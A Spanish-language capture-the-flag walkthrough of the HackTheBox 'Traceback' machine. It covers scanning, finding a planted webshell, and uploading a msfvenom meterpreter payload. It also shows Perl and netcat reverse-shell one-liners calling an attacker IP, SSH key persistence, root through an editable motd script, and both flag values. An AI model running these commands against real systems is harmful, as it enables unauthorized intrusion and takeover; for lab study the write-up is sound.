HackTheBox – Traceback Writeup

Escaneamos todos los puertos mediante nmap:

 nmap -p- -Pn -A 10.10.10.181 -n

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/10%OT=22%CT=1%CU=32748%PV=Y%DS=2%DC=T%G=Y%TM=5F08825
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   42.90 ms 10.10.14.1
2   43.32 ms 10.10.10.181

Comenzamos a fuzzear la web en la cual no encontramos nada

dirb  http://10.10.10.181

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul 10 17:06:15 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.181/ ----
 

Accedemos a la web y vemos que parece ser que hicieron un Defacement

Analizando el código fuente vemos una linea la cual nos resulta interesante y la buscamos en google: «Some of the best web shells that you might need»

En la cual encontramos un repositorio el cual contiene webshell

Creamos un wordlist con todas las webshell encontaradas en: https://github.com/TheBinitGhimire/Web-Shells

alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

Volvemos a Fuzzear con el wordlist generado encontrnado una webshell llamada «smevk.php»

dirb  http://10.10.10.181 /usr/share/dirb/wordlists/shell.txt 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul 10 17:12:33 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/shell.txt

-----------------

GENERATED WORDS: 16                                                            

---- Scanning URL: http://10.10.10.181/ ----
+ http://10.10.10.181/smevk.php (CODE:200|SIZE:1261)   

a

Generamos una shell para poder subir

msfvenom  -p php/meterpreter/reverse_tcp LHOST=10.10.15.17 LPORT=8080 R > exploit.php

De la misma forma, dejamos escuchando un handler

set payload php/meterpreter/reverse_tcp
set lport 8080
set lhost 10.10.15.17
exploit

[*] Started reverse TCP handler on 10.10.15.17:8080 
[*] Sending stage (38288 bytes) to 10.10.10.181

Subimos la shell creada en http://10.10.10.181/smevk.php

Ejecutamos la shell subida en el paso anterior: http://10.10.10.181/exploit.php

Comprobamos que tenemos una shell en el handler que hemos dejado escuchando.

Comprobamos el usuario que somos

A continuación yo cambio de shell dado que la shell obtenida era realmente muy aparatosa…. pero como veremos a continuación había una forma mejor

Dejamos escuchando mediante NC un listener

nc -lvp 1234

Mediante perl obtenemos la nueva shell 

/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Empezamos a intentar obtener información para poder elevar privilegios, al realizar un history vemos los siguientes comandos ejecutados anteriormente: 

Elevamos privilegios ejecutando el comando:

sudo -u sysadmin /home/sysadmin/luvit privesc.lua

Nuevamente cometemos el error de configurar una nueva shell en perl dado que la shell era un poco mala

Dejamos escuchando NC

 nc -lvp 1235

Ejecutamos la shell

/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Obtenemos la primera FLAQ del usuario sysadmin

cat /home/sysadmin/user.txt
f09a465986a1bb1aeb0fa2948db78040

Tras buscar mucho como poder elevar privilegios lo único interesante que encontramos es el siguiente proceso el cual se ejecuta cada 30 segundos

root      36600  0.0  0.0  58792  3160 ?        S    09:09   0:00 /usr/sbin/CRON -f
root      36602  0.0  0.0   4628   840 ?        Ss   09:09   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root      36606  0.0  0.0   7468   788 ?        S    09:09   0:00 sleep 30

Comprobamos el directorio /etc/update-motd.d/ y dentro de el se encuentra diversos ficheros, Nos centramos en 00-header dado que tiene el mismo mensaje que cuando se intenta acceder por ssh

El único problema es que no tenemos contraseña para acceder por ssh… dando vueltas caemos en la cuenta que realmente no hace falta contraseña porque nos podemos conectar mediante certificado.  Por lo tanto agregamos nuestro certificado al archivo authorized_keys

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNjYWBv5FHyS4OWe+xB/WoNwrH54Z3zFqRwtKFnG6meFh1/HnPwQofXjmcg5Y0a/CbfFD1twiZDK2h1Tap9aq2FnFjOghZb0mFfIfWiEyK3o6UK+eN9MW7hnK6EVqvxVR2kfTQgYLgLasiRiqSGfHuM/c9+wAaLgYJnD1pBuLpnkgsrjUBUE7MkTCB+e69DXoSj39VsJG7QyeeHHk1hoSfHHH0hfnxt+Z1E3eu2+dmA1iTfX17/2LHoTy/8ZIJDwMCFx6RlE8Ws0WQghw2qJDX7SPepk2adDdvzuxda3iD59un5GPDqJE3R970Q5DDNqvFGFLQBk6F0yHn+AqRfIRFSSZBR61oC5ZRzjvfTNVDFa0HxUs2vWx7gyRXlSJTvQgYIXfbPmfwTnXiccngc3qE+4yvWV97+AbMySHcY0ZSG7ws06+qcm90kEeEJrsoKl05bbVur9nEWv09RiuWq9UHeojDBGy4mCwjaj3MZLhEh7fPqRnBafWmAidtkLSLf9k= webadmin@redorbita" >> authorized_keys

Comprobamos a conectarnos por ssh

Realizamos diversas pruebas modificando el archivo 00-header y comprobamos que sale lo que agregamos cuando intentamos conectarnos por ssh, por lo tanto dejamos escuchando un nc

nc -lvp 1236

Agregamos una reverse shell al fichero 00-header

echo "nc -e /bin/bash 10.10.15.17 1236" >> 00-header

Accedemos mediante SSH y comprobamos que obtenemos shell mediante root

Obtenemos la ultima FLAQ del usuario root

root@traceback:/# cat /root/root.txt
cat /root/root.txt
1a6a97a01269b613870c8292c198ff77

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *